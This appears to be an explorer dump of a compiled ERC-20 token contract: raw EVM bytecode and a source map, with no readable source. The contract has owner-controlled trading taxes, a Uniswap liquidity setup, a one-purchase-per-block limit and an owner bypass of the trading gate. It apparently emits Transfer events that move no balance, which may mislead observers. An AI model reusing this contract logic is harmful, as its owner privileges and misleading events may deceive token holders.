46107a55760405162461bcd60e51b815260040161045e906115ab565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107ef9030906107e06009600a6116d4565b6104f5906402540be4006116e2565b60105f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086391906116f9565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e691906116f9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610930573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095491906116f9565b601280546001600160a01b039283166001600160a01b03199091161790556010541663f305d719473061099b816001600160a01b03165f9081526001602052604090205490565b5f806109ae5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a14573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a399190611714565b505060125460105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a8e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610479919061173f565b6001600160a01b038316610b145760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045e565b6001600160a01b038216610b755760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045e565b6001600160a01b038216610c9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045e565b5f8111610cfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045e565b5f80546001600160a01b03163214610d2357601254600160a01b900460ff16610d23575f80fd5b5f546001600160a01b03858116911614801590610d4d57505f546001600160a01b03848116911614155b15610ee857610d726064610d6c6008548561134f90919063ffffffff16565b906113cd565b60075490915060ff1615610e58576010546001600160a01b03848116911614801590610dac57506012546001600160a01b03848116911614155b15610e5857325f908152600560205260409020544311610e465760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161045e565b325f9081526005602052604090204390555b6012546001600160a01b038481169116148015610e7e57506001600160a01b0384163014155b15610ee857610e9d6064610d6c6009548561134f90919063ffffffff16565b335f818152600460205260409020805460ff19166001179055600d549192506001600160a01b039190911603610ee85743600b555f600c55600d80546001600160a01b031916301790555b43600b5461012c610ef9919061175e565b10610f7657600d546001600160a01b0316307fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f4a826001600160a01b03165f9081526001602052604090205490565b60405190815260200160405180910390a35f600c55600d80546001600160a01b0319163017905543600b555b8015610fee57305f90815260016020526040902054610f95908261117a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fe59085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054611010908361140e565b6001600160a01b0385165f90815260016020526040902055611053611035838361140e565b6001600160a01b0385165f908152600160205260409020549061117a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61109c858561140e565b60405190815260200160405180910390a381600c541080156110cc57506010546001600160a01b03848116911614155b80156110e657506012546001600160a01b03848116911614155b80156110fb57506001600160a01b0383163014155b80156111165750335f9081526004602052604090205460ff16155b1561113c57600d80546001600160a01b0319166001600160a01b038516179055600c8290555b50505050565b5f81848411156111655760405162461bcd60e51b815260040161045e919061147b565b505f6111718486611771565b95945050505050565b5f80611186838561175e565b9050838110156111d85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045e565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061122557611225611784565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561127c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112a091906116f9565b816001815181106112b3576112b3611784565b6001600160a01b0392831660209182029290920101526010546112d99130911684610ab2565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906113119085905f90869030904290600401611798565b5f604051808303815f87803b158015611328575f80fd5b505af115801561133a573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b5f825f0361135e57505f61042f565b5f61136983856116e2565b9050826113768583611807565b146111d85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045e565b5f6111d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061144f565b5f6111d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611142565b5f818361146f5760405162461bcd60e51b815260040161045e919061147b565b505f6111718486611807565b5f6020808352835180828501525f5b818110156114a65785810183015185820160400152820161148a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610479575f80fd5b5f80604083850312156114eb575f80fd5b82356114f6816114c6565b946020939093013593505050565b5f60208284031215611514575f80fd5b5035919050565b5f805f6060848603121561152d575f80fd5b8335611538816114c6565b92506020840135611548816114c6565b929592945050506040919091013590565b5f60208284031215611569575f80fd5b81356111d8816114c6565b5f8060408385031215611585575f80fd5b8235611590816114c6565b915060208301356115a0816114c6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561162e57815f1904821115611614576116146115e0565b8085161561162157918102915b93841c93908002906115f9565b509250929050565b5f826116445750600161042f565b8161165057505f61042f565b816001811461166657600281146116705761168c565b600191505061042f565b60ff841115611681576116816115e0565b50506001821b61042f565b5060208310610133831016604e8410600b84101617156116af575081810a61042f565b6116b983836115f4565b805f19048211156116cc576116cc6115e0565b029392505050565b5f6111d860ff841683611636565b808202811582820484141761042f5761042f6115e0565b5f60208284031215611709575f80fd5b81516111d8816114c6565b5f805f60608486031215611726575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561174f575f80fd5b815180151581146111d8575f80fd5b8082018082111561042f5761042f6115e0565b8181038181111561042f5761042f6115e0565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117e65784516001600160a01b0316835293830193918301916001016117c1565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261182157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a520745da8cfaf865cad9d39b7f3da9402b02fe146a4765d560f2492fba79e5164736f6c63430008150033

Deployed Bytecode Sourcemap

4008:7903:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10211:83;;;;;;;;;;-1:-1:-1;10281:5:0;;;;;;;;;;;;-1:-1:-1;;;10281:5:0;;;;10211:83;;;;;;;:::i;:::-;;;;;;;;11044:161;;;;;;;;;;-1:-1:-1;11044:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;11044:161:0;1023:187:1;9477:128:0;;;;;;;;;;-1:-1:-1;9477:128:0;;;;;:::i;:::-;;:::i;:::-;;10488:95;;;;;;;;;;;;;:::i;:::-;;;1546:25:1;;;1534:2;1519:18;10488:95:0;1400:177:1;11213:313:0;;;;;;;;;;-1:-1:-1;11213:313:0;;;;;:::i;:::-;;:::i;10397:83::-;;;;;;;;;;-1:-1:-1;10397:83:0;;4894:1;2185:36:1;;2173:2;2158:18;10397:83:0;2043:184:1;4771:32:0;;;;;;;;;;;;;;;;4810:38;;;;;;;;;;-1:-1:-1;4810:38:0;;;;-1:-1:-1;;;;;4810:38:0;;;;;;-1:-1:-1;;;;;2396:32:1;;;2378:51;;2366:2;2351:18;4810:38:0;2232:203:1;9757:446:0;;;;;;;;;;;;;:::i;10591:119::-;;;;;;;;;;-1:-1:-1;10591:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;10684:18:0;10657:7;10684:18;;;:9;:18;;;;;;;10591:119;3089:148;;;;;;;;;;;;;:::i;7944:162::-;;;;;;;;;;;;;:::i;4971:55::-;;;;;;;;;;;;;;;;2875:79;;;;;;;;;;-1:-1:-1;2913:7:0;2940:6;-1:-1:-1;;;;;2940:6:0;2875:79;;5033:57;;;;;;;;;;;;;;;;10302:87;;;;;;;;;;-1:-1:-1;10374:7:0;;;;;;;;;;;;-1:-1:-1;;;10374:7:0;;;;10302:87;;9613:136;;;;;;;;;;-1:-1:-1;9613:136:0;;;;;:::i;:::-;;:::i;10718:167::-;;;;;;;;;;-1:-1:-1;10718:167:0;;;;;:::i;:::-;;:::i;4580:39::-;;;;;;;;;;-1:-1:-1;4580:39:0;;;;;;;;9173:188;;;;;;;;;;;;;:::i;10893:143::-;;;;;;;;;;-1:-1:-1;10893:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;11001:18:0;;;10974:7;11001:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10893:143;8611:554;;;;;;;;;;;;;:::i;11044:161::-;11119:4;11136:39;710:10;11159:7;11168:6;11136:8;:39::i;:::-;-1:-1:-1;11193:4:0;11044:161;;;;;:::o;9477:128::-;3002:6;;-1:-1:-1;;;;;3002:6:0;710:10;3002:22;2994:67;;;;-1:-1:-1;;;2994:67:0;;;;;;;:::i;:::-;;;;;;;;;9545:6:::1;:18:::0;;;9595:1:::1;9582:14:::0;::::1;;9574:23;;;::::0;::::1;;9477:128:::0;:::o;10488:95::-;10541:7;4951:13;4894:1;4951:2;:13;:::i;:::-;4937:27;;:11;:27;:::i;:::-;10561:14;;10488:95;:::o;11213:313::-;11311:4;11328:36;11338:6;11346:9;11357:6;11328:9;:36::i;:::-;11375:121;11384:6;710:10;11406:89;11444:6;11406:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11406:19:0;;;;;;:11;:19;;;;;;;;710:10;11406:33;;;;;;;;;;:37;:89::i;:::-;11375:8;:121::i;:::-;-1:-1:-1;11514:4:0;11213:313;;;;;:::o;9757:446::-;9823:7;;-1:-1:-1;;;;;9823:7:0;710:10;-1:-1:-1;;;;;9807:23:0;;9799:32;;;;;;9869:41;4951:13;4894:1;4951:2;:13;:::i;:::-;4937:27;;:11;:27;:::i;:::-;9898:11;;9906:3;9898:11;:::i;:::-;9887:4;9869:24;;;;:9;:24;;;;;;;:28;:41::i;:::-;9860:4;9842:24;;;;:9;:24;;;;;:68;;;9983:16;;9979:79;;10016:30;10033:12;10016:16;:30::i;:::-;10089:21;10125:14;;10121:75;;10156:7;;:28;;-1:-1:-1;;;;;10156:7:0;;;;:28;;;;;10173:10;;10156:7;:28;:7;:28;10173:10;10156:7;:28;;;;;;;;;;;;;;;;;;;;;10121:75;9788:415;;9757:446::o;3089:148::-;3002:6;;-1:-1:-1;;;;;3002:6:0;710:10;3002:22;2994:67;;;;-1:-1:-1;;;2994:67:0;;;;;;;:::i;:::-;3196:1:::1;3180:6:::0;;3159:40:::1;::::0;-1:-1:-1;;;;;3180:6:0;;::::1;::::0;3159:40:::1;::::0;3196:1;;3159:40:::1;3227:1;3210:19:::0;;-1:-1:-1;;;;;;3210:19:0::1;::::0;;3089:148::o;7944:162::-;3002:6;;-1:-1:-1;;;;;3002:6:0;710:10;3002:22;2994:67;;;;-1:-1:-1;;;2994:67:0;;;;;;;:::i;:::-;4951:13:::1;4894:1;4951:2;:13;:::i;:::-;4937:27;::::0;:11:::1;:27;:::i;:::-;7998:12;:22:::0;4951:13:::1;4894:1;4951:2;:13;:::i;:::-;4937:27;::::0;:11:::1;:27;:::i;:::-;8031:14;:24:::0;8071:27:::1;4951:13;4894:1;4951:2;:13;:::i;:::-;4937:27;::::0;:11:::1;:27;:::i;:::-;8071;::::0;1546:25:1;;;1534:2;1519:18;8071:27:0::1;;;;;;;7944:162::o:0;9613:136::-;3002:6;;-1:-1:-1;;;;;3002:6:0;710:10;3002:22;2994:67;;;;-1:-1:-1;;;2994:67:0;;;;;;;:::i;:::-;9686:7:::1;:20:::0;;;9739:1:::1;9725:15:::0;::::1;;9717:24;;;::::0;::::1;10718:167:::0;10796:4;10813:42;710:10;10837:9;10848:6;10813:9;:42::i;9173:188::-;3002:6;;-1:-1:-1;;;;;3002:6:0;710:10;3002:22;2994:67;;;;-1:-1:-1;;;2994:67:0;;;;;;;:::i;:::-;9226:11:::1;:18:::0;;-1:-1:-1;;;;9255:18:0;-1:-1:-1;;;9255:18:0;;;9298:12:::1;9284:11;:26:::0;;;9321:17:::1;:32:::0;9173:188::o;8611:554::-;3002:6;;-1:-1:-1;;;;;3002:6:0;710:10;3002:22;2994:67;;;;-1:-1:-1;;;2994:67:0;;;;;;;:::i;:::-;8665:15:::1;:80:::0;;-1:-1:-1;;;;;;8665:80:0::1;8702:42;8665:80:::0;;::::1;::::0;;;8756:58:::1;::::0;8773:4:::1;::::0;4951:13:::1;4894:1;4951:2;:13;:::i;:::-;4937:27;::::0;:11:::1;:27;:::i;8756:58::-;8859:15;;;;;;;;;-1:-1:-1::0;;;;;8859:15:0::1;-1:-1:-1::0;;;;;8859:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8841:55:0::1;;8905:4;8912:15;;;;;;;;;-1:-1:-1::0;;;;;8912:15:0::1;-1:-1:-1::0;;;;;8912:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8841:94;::::0;-1:-1:-1;;;;;;8841:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5620:15:1;;;8841:94:0::1;::::0;::::1;5602:34:1::0;5672:15;;5652:18;;;5645:43;5537:18;;8841:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8825:13;:110:::0;;-1:-1:-1;;;;;8825:110:0;;::::1;-1:-1:-1::0;;;;;;8825:110:0;;::::1;;::::0;;8946:15:::1;::::0;::::1;:31;8985:21;9016:4;9022:24;9016:4:::0;-1:-1:-1;;;;;10684:18:0;10657:7;10684:18;;;:9;:18;;;;;;;10591:119;9022:24:::1;9047:1;9049::::0;9051:7:::1;2913::::0;2940:6;-1:-1:-1;;;;;2940:6:0;;2875:79;9051:7:::1;8946:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8946:129:0;;;-1:-1:-1;;;;;6058:15:1;;;8946:129:0::1;::::0;::::1;6040:34:1::0;6090:18;;;6083:34;;;;6133:18;;;6126:34;;;;6176:18;;;6169:34;6240:15;;;6219:19;;;6212:44;9059:15:0::1;6272:19:1::0;;;6265:35;5974:19;;8946:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9093:13:0::1;::::0;9124:15:::1;::::0;9086:71:::1;::::0;-1:-1:-1;;;9086:71:0;;-1:-1:-1;;;;;9124:15:0;;::::1;9086:71;::::0;::::1;6796:51:1::0;-1:-1:-1;;6863:18:1;;;6856:34;9093:13:0;::::1;::::0;-1:-1:-1;9086:29:0::1;::::0;6769:18:1;;9086:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;11534:335::-:0;-1:-1:-1;;;;;11627:19:0;;11619:68;;;;-1:-1:-1;;;11619:68:0;;7385:2:1;11619:68:0;;;7367:21:1;7424:2;7404:18;;;7397:30;7463:34;7443:18;;;7436:62;-1:-1:-1;;;7514:18:1;;;7507:34;7558:19;;11619:68:0;7183:400:1;11619:68:0;-1:-1:-1;;;;;11706:21:0;;11698:68;;;;-1:-1:-1;;;11698:68:0;;7790:2:1;11698:68:0;;;7772:21:1;7829:2;7809:18;;;7802:30;7868:34;7848:18;;;7841:62;-1:-1:-1;;;7919:18:1;;;7912:32;7961:19;;11698:68:0;7588:398:1;11698:68:0;-1:-1:-1;;;;;11777:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11829:32;;1546:25:1;;;11829:32:0;;1519:18:1;11829:32:0;;;;;;;11534:335;;;:::o;5749:2183::-;-1:-1:-1;;;;;5837:18:0;;5829:68;;;;-1:-1:-1;;;5829:68:0;;8193:2:1;5829:68:0;;;8175:21:1;8232:2;8212:18;;;8205:30;8271:34;8251:18;;;8244:62;-1:-1:-1;;;8322:18:1;;;8315:35;8367:19;;5829:68:0;7991:401:1;5829:68:0;-1:-1:-1;;;;;5916:16:0;;5908:64;;;;-1:-1:-1;;;5908:64:0;;8599:2:1;5908:64:0;;;8581:21:1;8638:2;8618:18;;;8611:30;8677:34;8657:18;;;8650:62;-1:-1:-1;;;8728:18:1;;;8721:33;8771:19;;5908:64:0;8397:399:1;5908:64:0;6000:1;5991:6;:10;5983:64;;;;-1:-1:-1;;;5983:64:0;;9003:2:1;5983:64:0;;;8985:21:1;9042:2;9022:18;;;9015:30;9081:34;9061:18;;;9054:62;-1:-1:-1;;;9132:18:1;;;9125:39;9181:19;;5983:64:0;8801:405:1;5983:64:0;6058:17;2940:6;;-1:-1:-1;;;;;2940:6:0;6091:9;:20;6088:71;;6135:11;;-1:-1:-1;;;6135:11:0;;;;6127:20;;;;;;2913:7;2940:6;-1:-1:-1;;;;;6173:15:0;;;2940:6;;6173:15;;;;:32;;-1:-1:-1;2913:7:0;2940:6;-1:-1:-1;;;;;6192:13:0;;;2940:6;;6192:13;;6173:32;6169:916;;;6234:27;6257:3;6234:18;6245:6;;6234;:10;;:18;;;;:::i;:::-;:22;;:27::i;:::-;6282:20;;6222:39;;-1:-1:-1;6282:20:0;;6278:398;;;6343:15;;-1:-1:-1;;;;;6329:30:0;;;6343:15;;6329:30;;;;:62;;-1:-1:-1;6377:13:0;;-1:-1:-1;;;;;6363:28:0;;;6377:13;;6363:28;;6329:62;6325:334;;;6455:9;6426:39;;;;:28;:39;;;;;;6468:12;-1:-1:-1;6418:140:0;;;;-1:-1:-1;;;6418:140:0;;9413:2:1;6418:140:0;;;9395:21:1;9452:2;9432:18;;;9425:30;9491:34;9471:18;;;9464:62;9562:34;9542:18;;;9535:62;-1:-1:-1;;;9613:19:1;;;9606:40;9663:19;;6418:140:0;9211:477:1;6418:140:0;6612:9;6583:39;;;;:28;:39;;;;;6625:12;6583:54;;6325:334;6703:13;;-1:-1:-1;;;;;6697:19:0;;;6703:13;;6697:19;:44;;;;-1:-1:-1;;;;;;6720:21:0;;6736:4;6720:21;;6697:44;6694:378;;;6774:28;6798:3;6774:19;6785:7;;6774:6;:10;;:19;;;;:::i;:28::-;6837:10;6821:27;;;;:15;:27;;;;;:34;;-1:-1:-1;;6821:34:0;6851:4;6821:34;;;6877:7;;6762:40;;-1:-1:-1;;;;;;6877:7:0;;;;:21;6874:183;;6936:12;6922:11;:26;6990:1;6974:13;:17;7014:7;:23;;-1:-1:-1;;;;;;7014:23:0;7032:4;7014:23;;;6874:183;7121:12;7100:11;;7114:3;7100:17;;;;:::i;:::-;:33;7097:238;;7178:7;;-1:-1:-1;;;;;7178:7:0;7171:4;7154:58;7187:24;7171:4;-1:-1:-1;;;;;10684:18:0;10657:7;10684:18;;;:9;:18;;;;;;;10591:119;7187:24;7154:58;;1546:25:1;;;1534:2;1519:18;7154:58:0;;;;;;;7243:1;7227:13;:17;7259:7;:23;;-1:-1:-1;;;;;;7259:23:0;7277:4;7259:23;;;7311:12;7297:11;:26;7097:238;7350:11;;7347:162;;7419:4;7401:24;;;;:9;:24;;;;;;:39;;7430:9;7401:28;:39::i;:::-;7393:4;7375:24;;;;:9;:24;;;;;;;:65;;;;7458:39;;-1:-1:-1;;;;;7458:39:0;;;;;;;7487:9;1546:25:1;;1534:2;1519:18;;1400:177;7458:39:0;;;;;;;;7347:162;-1:-1:-1;;;;;7539:15:0;;;;;;:9;:15;;;;;;:27;;7559:6;7539:19;:27::i;:::-;-1:-1:-1;;;;;7523:15:0;;;;;;:9;:15;;;;;:43;7591:40;7609:21;:6;7620:9;7609:10;:21::i;:::-;-1:-1:-1;;;;;7591:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;7577:13:0;;;;;;;:9;:13;;;;;:54;;;;7647:41;;;7666:21;:6;7677:9;7666:10;:21::i;:::-;7647:41;;1546:25:1;;;1534:2;1519:18;7647:41:0;;;;;;;7720:6;7704:13;;:22;:56;;;;-1:-1:-1;7744:15:0;;-1:-1:-1;;;;;7730:30:0;;;7744:15;;7730:30;;7704:56;:79;;;;-1:-1:-1;7770:13:0;;-1:-1:-1;;;;;7764:19:0;;;7770:13;;7764:19;;7704:79;:102;;;;-1:-1:-1;;;;;;7787:19:0;;7801:4;7787:19;;7704:102;:142;;;;-1:-1:-1;7826:10:0;7810:27;;;;:15;:27;;;;;;;;:36;7704:142;7701:222;;;7862:7;:12;;-1:-1:-1;;;;;;7862:12:0;-1:-1:-1;;;;;7862:12:0;;;;;7889:13;:22;;;7701:222;5818:2114;5749:2183;;;:::o;1767:190::-;1853:7;1889:12;1881:6;;;;1873:29;;;;-1:-1:-1;;;1873:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1913:9:0;1925:5;1929:1;1925;:5;:::i;:::-;1913:17;1767:190;-1:-1:-1;;;;;1767:190:0:o;1436:179::-;1494:7;;1526:5;1530:1;1526;:5;:::i;:::-;1514:17;;1555:1;1550;:6;;1542:46;;;;-1:-1:-1;;;1542:46:0;;10158:2:1;1542:46:0;;;10140:21:1;10197:2;10177:18;;;10170:30;10236:29;10216:18;;;10209:57;10283:18;;1542:46:0;9956:351:1;1542:46:0;1606:1;1436:179;-1:-1:-1;;;1436:179:0:o;8118:483::-;5410:6;:13;;-1:-1:-1;;;;5410:13:0;-1:-1:-1;;;5410:13:0;;;8220:16:::1;::::0;;8234:1:::1;8220:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8220:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8220:16:0::1;8196:40;;8265:4;8247;8252:1;8247:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8247:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8291:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8291:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8247:7;;8291:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8281:4;8286:1;8281:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8281:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8356:15:::1;::::0;8324:62:::1;::::0;8341:4:::1;::::0;8356:15:::1;8374:11:::0;8324:8:::1;:62::i;:::-;8397:15;::::0;:196:::1;::::0;-1:-1:-1;;;8397:196:0;;-1:-1:-1;;;;;8397:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;8478:11;;8397:15:::1;::::0;8520:4;;8547::::1;::::0;8567:15:::1;::::0;8397:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5446:6:0;:14;;-1:-1:-1;;;;5446:14:0;;;-1:-1:-1;;;;8118:483:0:o;1965:246::-;2023:7;2047:1;2052;2047:6;2043:47;;-1:-1:-1;2077:1:0;2070:8;;2043:47;2100:9;2112:5;2116:1;2112;:5;:::i;:::-;2100:17;-1:-1:-1;2145:1:0;2136:5;2140:1;2100:17;2136:5;:::i;:::-;:10;2128:56;;;;-1:-1:-1;;;2128:56:0;;11985:2:1;2128:56:0;;;11967:21:1;12024:2;12004:18;;;11997:30;12063:34;12043:18;;;12036:62;-1:-1:-1;;;12114:18:1;;;12107:31;12155:19;;2128:56:0;11783:397:1;2219:132:0;2277:7;2304:39;2308:1;2311;2304:39;;;;;;;;;;;;;;;;;:3;:39::i;1623:136::-;1681:7;1708:43;1712:1;1715;1708:43;;;;;;;;;;;;;;;;;:3;:43::i;2359:189::-;2445:7;2480:12;2473:5;2465:28;;;;-1:-1:-1;;;2465:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2504:9:0;2516:5;2520:1;2516;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:180::-;1274:6;1327:2;1315:9;1306:7;1302:23;1298:32;1295:52;;;1343:1;1340;1333:12;1295:52;-1:-1:-1;1366:23:1;;1215:180;-1:-1:-1;1215:180:1:o;1582:456::-;1659:6;1667;1675;1728:2;1716:9;1707:7;1703:23;1699:32;1696:52;;;1744:1;1741;1734:12;1696:52;1783:9;1770:23;1802:31;1827:5;1802:31;:::i;:::-;1852:5;-1:-1:-1;1909:2:1;1894:18;;1881:32;1922:33;1881:32;1922:33;:::i;:::-;1582:456;;1974:7;;-1:-1:-1;;;2028:2:1;2013:18;;;;2000:32;;1582:456::o;2440:247::-;2499:6;2552:2;2540:9;2531:7;2527:23;2523:32;2520:52;;;2568:1;2565;2558:12;2520:52;2607:9;2594:23;2626:31;2651:5;2626:31;:::i;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3085:356::-;3287:2;3269:21;;;3306:18;;;3299:30;3365:34;3360:2;3345:18;;3338:62;3432:2;3417:18;;3085:356::o;3446:127::-;3507:10;3502:3;3498:20;3495:1;3488:31;3538:4;3535:1;3528:15;3562:4;3559:1;3552:15;3578:422;3667:1;3710:5;3667:1;3724:270;3745:7;3735:8;3732:21;3724:270;;;3804:4;3800:1;3796:6;3792:17;3786:4;3783:27;3780:53;;;3813:18;;:::i;:::-;3863:7;3853:8;3849:22;3846:55;;;3883:16;;;;3846:55;3962:22;;;;3922:15;;;;3724:270;;;3728:3;3578:422;;;;;:::o;4005:806::-;4054:5;4084:8;4074:80;;-1:-1:-1;4125:1:1;4139:5;;4074:80;4173:4;4163:76;;-1:-1:-1;4210:1:1;4224:5;;4163:76;4255:4;4273:1;4268:59;;;;4341:1;4336:130;;;;4248:218;;4268:59;4298:1;4289:10;;4312:5;;;4336:130;4373:3;4363:8;4360:17;4357:43;;;4380:18;;:::i;:::-;-1:-1:-1;;4436:1:1;4422:16;;4451:5;;4248:218;;4550:2;4540:8;4537:16;4531:3;4525:4;4522:13;4518:36;4512:2;4502:8;4499:16;4494:2;4488:4;4485:12;4481:35;4478:77;4475:159;;;-1:-1:-1;4587:19:1;;;4619:5;;4475:159;4666:34;4691:8;4685:4;4666:34;:::i;:::-;4736:6;4732:1;4728:6;4724:19;4715:7;4712:32;4709:58;;;4747:18;;:::i;:::-;4785:20;;4005:806;-1:-1:-1;;;4005:806:1:o;4816:140::-;4874:5;4903:47;4944:4;4934:8;4930:19;4924:4;4903:47;:::i;4961:168::-;5034:9;;;5065;;5082:15;;;5076:22;;5062:37;5052:71;;5103:18;;:::i;5134:251::-;5204:6;5257:2;5245:9;5236:7;5232:23;5228:32;5225:52;;;5273:1;5270;5263:12;5225:52;5305:9;5299:16;5324:31;5349:5;5324:31;:::i;6311:306::-;6399:6;6407;6415;6468:2;6456:9;6447:7;6443:23;6439:32;6436:52;;;6484:1;6481;6474:12;6436:52;6513:9;6507:16;6497:26;;6563:2;6552:9;6548:18;6542:25;6532:3